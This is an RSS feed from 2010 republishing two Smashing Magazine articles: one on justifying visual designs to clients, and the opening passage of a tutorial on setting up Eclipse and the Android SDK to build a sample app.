<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Adobe CS6</title>
	<atom:link href="http://adobecs6.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://adobecs6.com</link>
	<description>Information and Resources for the Upcoming Creative Suite 6</description>
	<lastBuildDate>Tue, 26 Oct 2010 14:54:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>When A Thousand Words Is Worth A Picture</title>
		<link>http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/</link>
		<comments>http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/#comments</comments>
		<pubDate>Tue, 26 Oct 2010 11:39:22 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[Design]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=61797</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>Good design speaks for itself, right? Unfortunately, that is rarely the case. Most of us don’t have the privilege of designing for ourselves; we design for clients, clients who have their own taste and ideas, clients who ultimately need to be persuaded on why we’ve made certain decisions. <strong>Good design doesn’t speak for itself; it needs an advocate.</strong></p><p><a href="http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/"><img class="aligncenter size-full wp-image-61973" title="Oatmeal comic - how a web deisgn went straight to hell" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/oatmeal.gif" alt="Just a few &#34;minor&#34; changes" width="550" height="366" /></a></p> <p>This article examines both why design requires justification and how you can go about providing it in a way that is clear and understandable. While we'll focus on visual design, the principles described here are applicable to any creative process or endeavor. Indeed, we learned most of these lessons while presenting Web interfaces and prototypes to clients, which took place after the visual designs had been agreed on.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in When A Thousand Words Is Worth A Picture" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in When A Thousand Words Is Worth A Picture" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in When A Thousand Words Is Worth A Picture"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in When A Thousand Words Is Worth A Picture"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in When A Thousand Words Is Worth A Picture"  /></a></div></td></tr></table><p>Good design speaks for itself, right? Unfortunately, that is rarely the case. Most of us don’t have the privilege of designing for ourselves; we design for clients, clients who have their own taste and ideas, clients who ultimately need to be persuaded on why we’ve made certain decisions. <strong>Good design doesn’t speak for itself; it needs an advocate.</strong></p><p>This article examines both why design requires justification and how you can go about providing it in a way that is clear and understandable. While we&#8217;ll focus on visual design, the principles described here are applicable to any creative process or endeavor. Indeed, we learned most of these lessons while presenting Web interfaces and prototypes to clients, which took place after the visual designs had been agreed on.</p><p class="offtopic">[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #1 is <a href="http://shop.smashingmagazine.com/smashing-ebook-series-1-professional-web-design-intl.html">Professional Web Design</a>, 242 pages for just $9,90.]</p><h3>Beyond The Talk</h3><p>There is a saying oft quoted by professionals:</p><blockquote><p>&#8220;Those who can, do; those who can&#8217;t, teach.&#8221;</p><p><em>&mdash; George Bernard Shaw, Man and Superman</em></p></blockquote><p>I disagree with the premise of this statement, but I do sympathize with its tone. It is borne of the frustration that comes from the separation between the practice of a discipline and its theory.</p><p>Web design is to some degree immune from this criticism, being an extremely practical discipline by nature, and also a very new one. But we don’t have to look far to find university professors teaching students how to design layouts using tables!</p><p>At the other end of the spectrum, we have the salespeople. These people may not be great at precise explanation, but they can certainly put forward a compelling argument. Ever sat in on a sales pitch and barely recognized the product being promoted? By the time the salesperson was through talking, you were convinced that the CMS could take you to the moon. I once heard this described as “truth massage.”</p><p><a href="http://interact.webstandards.org/curriculum/"><img class="aligncenter size-full wp-image-66381" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/wasp.jpg" alt="Wasp in When A Thousand Words Is Worth A Picture" width="500" height="390" /></a><br /> <em>The WaSP InterACT (featured) and Opera Web standards curriculum were created to address the problem of institutions getting out of step with the Web industry.</em></p><p>While the full-time teacher (and even full-time salesperson) certainly have a place in the industry, explaining our designs is too important a task to leave to professional “talkers.”</p><p>We need to reconnect the practice of design with the theory of design. To do this, we need to learn the words and arguments for making a strong case for our designs.</p><h3>The Importance Of Communicating A Message</h3><blockquote><p>&#8220;Marketing without design is lifeless, and design without marketing is mute.&#8221;</p><p><em>&mdash; Von R. Glitschka</em></p></blockquote><p>Despite what many designers think, “marketing” is not a dirty word. We can learn much from the advertising and marketing industries about the importance of communication. Some advertising is as subtle as a sledgehammer, practically screaming at the user “Buy now!”; nevertheless, a great deal of thought went into how each message would be perceived and what would convince buyers most effectively.</p><p>When it comes to Web design, communication tends to be a much subtler affair: <strong>a delicate balance between satisfying users needs and delivering on business objectives</strong>. Here, design can play a key role by simplifying processes and persuading users.</p><p>Consider the registration form. Usually, business objectives demand as much information from the user as possible, so that the company can streamline and direct its marketing efforts. However, users are reluctant to supply information about themselves and are put off by long forms.</p><p>In this instance, trends dictate that the user experience wins out; registration forms now commonly consist simply of an email address and password. But business objectives are not entirely dismissed either: the reduction in effort to sign up translates into more registered users for the website, and people are generally becoming more willing to submit their email address. Plus, a short form fits neatly onto most pages, grabbing the attention of users when they are most receptive — for example, after having just read an interesting article.</p><p><a href="http://www.tumblr.com/"><img class="aligncenter size-full wp-image-66379" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/tumblr.jpg" alt="Tumblr in When A Thousand Words Is Worth A Picture" width="500" height="424" /></a><br /> <em>The micro-blogging platform Tumblr epitomizes the simple sign-up form.</em></p><h3>Design Doesn’t Just Happen</h3><p>Design is itself a <strong>process of deduction</strong>. It involves a number of decisions, both conscious and unconscious. During this process, the designer dismisses some ideas as unworkable and pursues others in order to arrive at a solution.</p><p>But this process is completely opaque to the client. The client likely views the design not as the outcome of an in-depth process, but as a response to the brief, merely a visual representation of the constraints and considerations set before the designer. As the designer, part of your job is to educate the client and reveal the design process to them.</p><p>If you fail to do this, you risk reliving the scenario parodied The Oatmeal’s post on “<a href="http://theoatmeal.com/comics/design_hell">How a Web Design Went Straight to Hell</a>.” In short, what happens is that client (rightfully) wants some input into the process, so they make suggestions or improvements. But they don’t fully understand the reasons behind your design choices, and so their “minor tweaks” take the website further and further away from its purpose. The design suffers, the designer gets exasperated, the client feels unappreciated and the relationship breaks down. Sound familiar?</p><p><a href="http://theoatmeal.com/comics/design_hell"><img class="aligncenter size-full wp-image-61973" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/oatmeal.gif" alt="Oatmeal in When A Thousand Words Is Worth A Picture" width="550" height="366" /></a><br /> <em>The Oatmeal comic describes how poor communication leads to Web design hell.</em></p><p>As designers and Web professionals, we needn’t be afraid of criticism. <strong>Good design stands up to criticism, because it is more than a matter of taste</strong>. View criticism as an opportunity to explain the reasons behind your decisions, to invite the client into the design world so that they feel like a part of the process.</p><p>If you treat criticism this way, then both you and the client will benefit. The client begins to articulate “problems” with the design in language that you can respond to. Instead of just saying, “Make it green,” they might now say, “The red feels too dominant, and we want to push the environmental benefits of our product, so I feel a more natural color is needed. Perhaps green?” Similarly, you will be less precious about your designs, understanding that they will be open to change unless the arguments behind your design decisions are convincing.</p><h3>Learning The Vocabulary</h3><p>If we are to explain our designs to clients, then we need to know the language. <strong>Translating a visual medium into words is not straightforward</strong>. Designers suffer from being so well versed in the language of design that they struggle to articulate it to others. To them, it just “looks right.”</p><p>The second difficulty faced by designers is assumed knowledge. They forget that much of their understanding of design comes from past experience, and they can become impatient with clients who are resistant to their suggestions.</p><p>In these situations, going back to the basics — i.e. the elements and principles of design — can be helpful. These basics are the “fundamental ideas about the practice of good visual design that are assumed to be the basis of all intentional visual design strategies” (from <a title="Elements and principles of design" href="http://en.wikipedia.org/wiki/Design_elements_and_principles">Wikipedia</a>). A few are listed below:</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/principles.gif"><img class="aligncenter size-full wp-image-61819" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/principles.gif" alt="Principles in When A Thousand Words Is Worth A Picture" width="440" height="257" /></a><br /> <em>The elements and principles of design.</em></p><p>You might wish to familiarize yourself with these elements and principles, although you very likely use them liberally in your designs already. For example, white space is really an expression of balance, because it affords each element enough space to have the right amount of focus. Similarly, we draw on proximity when designing forms to make clear the relationship between labels and inputs.</p><p>Understanding the principles and elements of design can also <strong>help in the design process</strong>. When assessing your options, you are able to fall back on more than “It just looks right.”</p><h3>Making A Convincing Argument</h3><p>Ultimately, if we are going to persuade clients of the value of our designs, then we need to make convincing arguments. Clients are people, and people have biases; so, the best way to convince them is to <strong>frame your argument in the right context</strong>.</p><p>Clients usually have various pressures put on them, and have to deal with various expectations of the website. Understanding these expectations from the outset will help you at each stage of the process, including the design stage. Some expectations will be formalized as objectives, which should be documented and serve as the basis of the design brief; other expectations might be politically motivated and therefore more difficult to identify.</p><p>While I don’t advocate playing the political game, spending some time understanding your client’s motivations will pay dividends as the project proceeds.</p><p>Broadly speaking, motivations fall into five categories:</p><ol><li>Usability and accessibility,</li><li>Return on investment (ROI),</li><li>Return on engagement (ROE),</li><li>Deadline-driven,</li><li>Financial.</li></ol><p>Depending on the dominant factors in a project, the client will be <strong>sympathetic to certain solutions and hostile to others</strong>. Let&#8217;s look at one factor in detail.</p><h4>Usability and Accessibility</h4><p>These tend to be a strong motivator with government, not-for-profit and service-oriented clients, usually stemming from a combination of legislative pressures and a desire to be inclusive to all audience segments. Of course, usability and accessibility should be core considerations in all projects, but they are rarely client-driven.</p><p>In such a case, Flash and other highly interactive technologies could be dismissed out of hand for not being accessible. This will also have a bearing on decisions related to color, font and clarity, which in turn will have a huge impact on the overall look and feel of the design.</p><p>Understanding this from the outset will help you present the design in the right framework and thus make the design appeal more to the client.</p><h3>Presenting Your Case</h3><p><strong>Always present a design to the client in person</strong> (or by remote conferencing when that is not possible). Never just send it as an attachment to an email, otherwise you will:</p><ol><li>Look incredibly unprofessional,</li><li>Have no control over the environment (or mindset) in which your design is viewed.</li></ol><p>Once you have set aside a time to present your design, how should you proceed? The first thing to do is set clear expectations for the meeting.</p><p>Whether you like it or not, the way you present a design sends a message. For example, if you show up at a kick-off meeting with professionally printed boards of design ideas, you will be sending two conflicting messages, because no matter how much you talk about “sketching out” ideas and “exploring” concepts, your boards will be communicating something completely different. The danger here is that the client gets hung up on what they see, which can derail the project in later stages.</p><p>As a designer, you have many tools in your arsenal: wireframes, mood boards, sketches, scamps, flat designs, HTML templates and even the backs of napkins. Pick the method that conveys the right amount of professionalism, while offering enough flexibility.</p><p>And remember, whatever expectations you have for the meeting, make sure to <strong>communicate (and agree on) them before a single design is made</strong>.</p><p><a href="http://communicatingdesign.com/"><img class="aligncenter size-full wp-image-66382" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/ShowCover.aspx_.jpg" alt="ShowCover Aspx in When A Thousand Words Is Worth A Picture" width="500" height="387" /></a><br /> <em>Dan M. Brown&#8217;s book Communicating Design focuses on those deliverables (wireframes, concept models, site maps) that serve as the primary communication tools between designers and clients.</em></p><p>The second thing I find really helpful, closely related to setting expectations, is <strong>giving the client a task</strong>. Believe it or not, clients actually want to help. But like a wayward child in the kitchen, this help can sometimes be more damaging than constructive.</p><p>The best way to do this is to bring the client on board with your own goals. Talk them through the design brief and how you have answered it, or reiterate your overall concept to them. Invite the client to look at the design from this standpoint and to use it to shape their comments. They should consider themselves the website’s quality control officer, pointing out where you might have veered from your own principles. If you do this, then you are far more likely to hear the sort of helpful criticism we spoke of earlier.</p><h3>To Recap</h3><ul><li>Remember, your design doesn’t speak for itself. If it is to stand up to scrutiny, then it needs an advocate.</li><li>In explaining your design, resist the temptation to use meaningless catchphrases. Instead, use plain, easily understood language.</li><li>If possible, include your client in the design process. Walk them through the process you took to arrive at your decisions.</li><li>Don’t be afraid of criticism, because good design is more than a matter of taste.</li><li>Don’t be precious with your design. Be prepared to change elements that you cannot make a good argument for.</li><li>Translating a visual medium into words can be difficult. But the principles and elements of design will help you articulate this visual language.</li><li>To make your argument convincing, frame it in the right context. Understand the pain points, and justify your design in these terms.</li><li>Always present your design in person, and ensure that any expectations are communicated (and agreed on) before a single decision is made.</li><li>Finally, <strong>be proud of your work</strong>. When you’ve finished speaking, give it plenty of space to say a few words of its own!</li></ul><h4>Further Reading</h4><ul><li><a href="http://www.3point7designs.com/blog/2010/07/ten-laws-to-design-by/">Ten Laws to Design By</a><br /> “As designers, we have to be aware of the function of our work and design, as much as we care about the aesthetics and visuals…” This post presents 10 design laws worth considering.</li><li><a href="http://www.smashingmagazine.com/2010/10/26/2010/02/19/is-john-the-client-dense-or-are-you-failing-him/">Is John the Client Dense or Are You Failing Him?</a><br /> An interesting post by Paul Boag that challenges us to empathize with our clients to build better relationships… and produce better websites.</li><li><a href="http://www.3point7designs.com/blog/2010/07/its-not-just-what-you-present-but-how-you-present-it/">It’s Not Just What You Present, But How You Present It</a><br /> An article by Ross Johnson that takes a closer look at effective methods of presenting a design.</li><li><a href="http://www.smashingmagazine.com/2010/10/26/2009/10/11/how-to-persuade-your-users-boss-or-clients/">How to Persuade Your Users, Boss or Client</a><br /> Paul Boag on the art of persuasion.</li><li><a href="http://communicatingdesign.com/">Communicating Design</a><br /> A book by Dan Brown that describes the tools that designers use in the course of creating a website. One chapter focuses on screen designs and the way they should be presented.</li></ul><p><em>(al)</em></p><hr /><p><small>© Felicity Evans for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/&title=When%20A%20Thousand%20Words%20Is%20Worth%20A%20Picture">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'When%20A%20Thousand%20Words%20Is%20Worth%20A%20Picture'%20http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/26/a-thousand-words-is-worth-a-picture-the-importance-of-justifying-your-designs/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/when-a-thousand-words-is-worth-a-picture/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Get Started Developing for Android with Eclipse</title>
		<link>http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/</link>
		<comments>http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/#comments</comments>
		<pubDate>Mon, 25 Oct 2010 13:40:45 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[mobile]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=68574</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>There's a lot to get excited about in mobile application development today. With increasingly sophisticated hardware, tablet PCs and a variety of software platforms (Symbian OS, iOS, WebOS, Windows Phone 7...), the landscape for mobile developers is full of opportunities &#8212; and a little complex as well.</p><p><a href="http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/andr.jpg" width="500" height="362" alt="Screenshot" /></a></p> <p>So much choice can be overwhelming when you just want to <strong>get started building mobile applications</strong>. Which platform should you choose? What programming language should you learn? What kit do you need for your planned project? In this tutorial, you'll learn how to start writing applications for <a href="http://android.com/">Android</a>, the open-source mobile operating system popularized by Google.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in Get Started Developing for Android with Eclipse" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in Get Started Developing for Android with Eclipse" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in Get Started Developing for Android with Eclipse"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in Get Started Developing for Android with Eclipse"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in Get Started Developing for Android with Eclipse"  /></a></div></td></tr></table><p>There&#8217;s a lot to get excited about in mobile application development today. With increasingly sophisticated hardware, tablet PCs and a variety of software platforms (Symbian OS, iOS, WebOS, Windows Phone 7&#8230;), the landscape for mobile developers is full of opportunities — and a little complex as well.</p><p>So much choice can be overwhelming when you just want to <strong>get started building mobile applications</strong>. Which platform should you choose? What programming language should you learn? What kit do you need for your planned project? In this tutorial, you&#8217;ll learn how to start writing applications for <a href="http://android.com/">Android</a>, the open-source mobile operating system popularized by Google.</p><p class="offtopic">[Offtopic: by the way, did you already get your copy of the <a href="http://creatives.commindo-media.de/www/delivery/ck.php?oaparams=2__bannerid=1368__zoneid=0__cb=b06a9d8418__oadest=http://shop.smashingmagazine.com/smashingbook-dispatcher.php?d=smashing-book&utm_source=Smashing%252BMagazine&utm_medium=editorialbox2&utm_content=BTW-Werbesatz%252Bmit%2520Shop%2520als%2520Ziel&utm_campaign=Smashing%252BMagazine%2520-%2520BTW%2520Editorial%2520Box%2520-%2520Shttp://creatives.commindo-media.de/www/delivery/ck.php?oaparams=2__bannerid=1368__zoneid=0__log=no__cb=b06a9d8418__oadest=http://shop.smashingmagazine.com/smashingbook-dispatcher.php?d=smashing-book&utm_source=Smashing%252BMagazine&utm_medium=editorialbox2&utm_content=BTW-Werbesatz%252Bmit%2520Shop%2520als%2520Ziel&utm_campaign=Smashing%252BMagazine%2520-%2520BTW%2520Editorial%2520Box%2520-%2520Smashing%2520Bookmashing%2520Book">Smashing Book</a>?]</p><h3>Why Develop for Android?</h3><p>Android is an open-source platform based on the Linux kernel, and is installed on <a href="http://mashable.com/2010/09/16/android-comscore-july-2010/">thousands of devices</a> from a wide range of manufacturers. Android exposes your application to all sorts of  hardware that you&#8217;ll find in modern mobile devices — digital compasses, video cameras, GPS, orientation sensors, and more.</p><p>Android&#8217;s free development tools make it possible for you to start writing software at little or no cost. When you&#8217;re ready to show off your application to the world, you can publish it to Google&#8217;s Android Market. <strong>Publishing to Android Market</strong> incurs a one-off registration fee (US $25 at the time of writing) and, unlike Apple&#8217;s App Store which famously reviews each submission, makes your application available for customers to download and buy after a quick review process — unless the application is blatantly illegal.</p><p>Here are a few other advantages Android offers you as a developer:</p><ul><li>The Android SDK is available for Windows, Mac and Linux, so you don&#8217;t need to pay for new hardware to start writing applications.</li><li>An SDK built on Java. If you&#8217;re familiar with the Java programming language, you&#8217;re already halfway there.</li><li>By distributing your application on Android Market, it&#8217;s available to <a href="http://www.wired.com/gadgetlab/2010/08/google-200000-android-phones/">hundreds of thousands</a> of users instantly. You&#8217;re not just limited to one store, because there are alternatives, too. For instance, you can release your application on your own blog. Amazon have recently been <a href="http://www.slashgear.com/amazon-android-app-store-tcs-leak-29104993/">rumoured</a> to be preparing their own Android app store also.</li><li>As well as the technical <a href="http://developer.android.com/sdk/index.html">SDK documentation</a>, new resources are being published for Android developers as the platform gains popularity among both users and developers.</li></ul><p>Enough with the talk — let&#8217;s get started developing for Android!</p><h3>Installing Eclipse and the Android SDK</h3><p>The recommended environment for <strong>developing Android applications</strong> is Eclipse with the Android Development Toolkit (ADT) plugin installed. I&#8217;ll summarize the process here. If you need more detail, Google&#8217;s own <a href="http://developer.android.com/sdk/">developer pages</a> do a good job of explaining the installation and configuration process.</p><ul><li>Download the <a href="http://developer.android.com/">Android SDK</a> for your platform (Windows, Mac OS X, or Linux).</li><li>Extract the downloaded file to somewhere memorable on your hard drive (on Linux, I use <code>/opt/local/</code>).</li><li>If you don&#8217;t already have Eclipse installed, download and install the <a href="http://eclipse.org/downloads/packages/eclipse-ide-java-developers/galileosr2">Eclipse IDE for Java Developers</a> package. For programming, Google recommends using Eclipse 3.5 (Galileo).</li><li>Run Eclipse and choose <em>Help-&gt;Install New Software</em>.</li><li>Click <em>Add</em> in the Available Software window.</li><li>Enter <code>Android Development Tools</code> in the <em>Name</em> field, and <code>https://dl-ssl.google.com/android/eclipse/</code> in the <em>Location</em> field.</li><li>Click <em>OK</em> and check <em>Developer Tools</em> in the list of available software. This will install the Android Development Tools and DDMS, Android&#8217;s debugging tool.</li><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eclipse_install_adt.jpg"><img class="aligncenter size-full wp-image-68739" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/install.gif" alt="Install in Get Started Developing for Android with Eclipse" width="500" height="519" /></a><br /> <em><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eclipse_install_adt.jpg">Large image</a></em></p><li>Click <em>Next</em> and <em>Finish</em> to install the plugin. You&#8217;ll need to restart Eclipse once everything is installed.</li><li>When Eclipse restarts, choose <em>Window-&gt;Preferences</em> and you should see <em>Android</em> listed in the categories.</li><li>You now need to tell Eclipse where you&#8217;ve installed the Android SDK. Click <em>Android</em> and then <em>Browse</em> to select the location where you extracted the SDK files. For example, <code>/opt/local/android-sdk</code>.<br /> <a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eclipse_android_preferences.jpg"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/prefs.jpg" alt="Prefs in Get Started Developing for Android with Eclipse" width="500" height="466" /></a><br /> <em><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eclipse_android_preferences.jpg">Large view</a></em></li><li>Click <em>OK</em> to have Eclipse save the location of your SDK.</li></ul><h3>Targeting Android Platforms</h3><p>Before you can start writing applications for Android, you need to download the SDK platforms for the Android devices for which you want to develop apps. Each platform has a different version of the Android SDK that may be installed on users&#8217; devices.  For versions of Android 1.5 and above, there are two platforms available: <em>Android Open Source Project</em> and <em>Google</em>.</p><p>The <em>Android Open Source Project</em> platforms are open source, but do not include Google&#8217;s proprietary extensions such as <em>Google Maps</em>. If you choose not to use the Google APIs, Google&#8217;s mapping functionality won&#8217;t be available to your application. Unless you have a specific reason not to, I&#8217;d recommended you to target one of the Google platforms, as this will allow you to take advantage of Google&#8217;s proprietary extensions.</p><ul><li>Choose <em>Window-&gt;Android SDK and AVD Manager</em>.</li><li>Click <em>Available Packages</em> in the left column and check the repository to show a list of the available Android platforms.</li><li>You can choose which platforms to download from the list, or leave everything checked to download all the available platforms. When you&#8217;re done, click <em>Install Selected</em> and follow the installation instructions.<p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/sdk_manager_platforms.jpg"><img class="aligncenter size-full wp-image-68740" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/sdk.jpg" alt="Sdk in Get Started Developing for Android with Eclipse" width="500" height="291" /></a><br /> <em><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/sdk_manager_platforms-550-e1287474433673.jpg">Large image</a></em></p></li></ul><p>Once everything has been successfully downloaded, you&#8217;re ready to start developing for Android.</p><h3>Creating a New Android Project</h3><p>Eclipse&#8217;s New Project Wizard can create a new Android application for you, generating files and code that are ready to run right out of the box. It&#8217;s a quick way to see something working, and a good starting point from which to develop your own applications:</p><ul><li>Choose <em>File-&gt;New-&gt;Project&#8230;</em></li><li>Choose <em>Android Project</em></li><li>In the <em>New Project</em> dialog, enter the following settings:<pre class="brush: js">Project Name: BrewClock
Build Target: Google Inc. 1.6 (Api Level 4)
Application Name: BrewClock
Package Name: com.example.brewclock
Create Activity: BrewClockActivity
Min SDK Version: 4</pre><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eclipse_new_project_settings.jpg"><img class="aligncenter size-full wp-image-68581" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eclipse_new_project_settings.jpg" alt="Eclipse New Project Settings in Get Started Developing for Android with Eclipse" width="525" height="1061" /></a></li></ul><p>After clicking <em>Finish</em>, Eclipse will create a new Android project that&#8217;s ready to run. Notice you told Eclipse to generate an Activity called <code>BrewClockActivity</code>? This is the code that Android actually uses to run your application. The generated code will display a simple &#8216;Hello World&#8217; style message when the application runs.</p><h4>Packages</h4><p>The package name is an identifier for your application. When the time comes and you are willing to publish on Android Market, it&#8217;s exactly this identifier that will be used to track your application for updates, so it&#8217;s important to <strong>make sure it&#8217;s unique</strong>. Although we&#8217;re using the <code>com.example.brewclock</code> namespace here, for a real application it&#8217;s best to choose something like <code>com.yourcompanyname.yourapplication</code>.</p><h4>SDK Versions</h4><p>The <code>Min SDK Version</code> is the earliest version of Android on which your application will run. With each new release of Android, the SDK adds and changes methods. By choosing an SDK version, Android (and the Android Market) knows that your application will only run on devices with a version of Android later or equal than the specified version.</p><h3>Running Your Application</h3><p>Now let&#8217;s try running the application in Eclipse. As this is the first run, Eclipse will ask what type of project you are working on:</p><ul><li>Choose 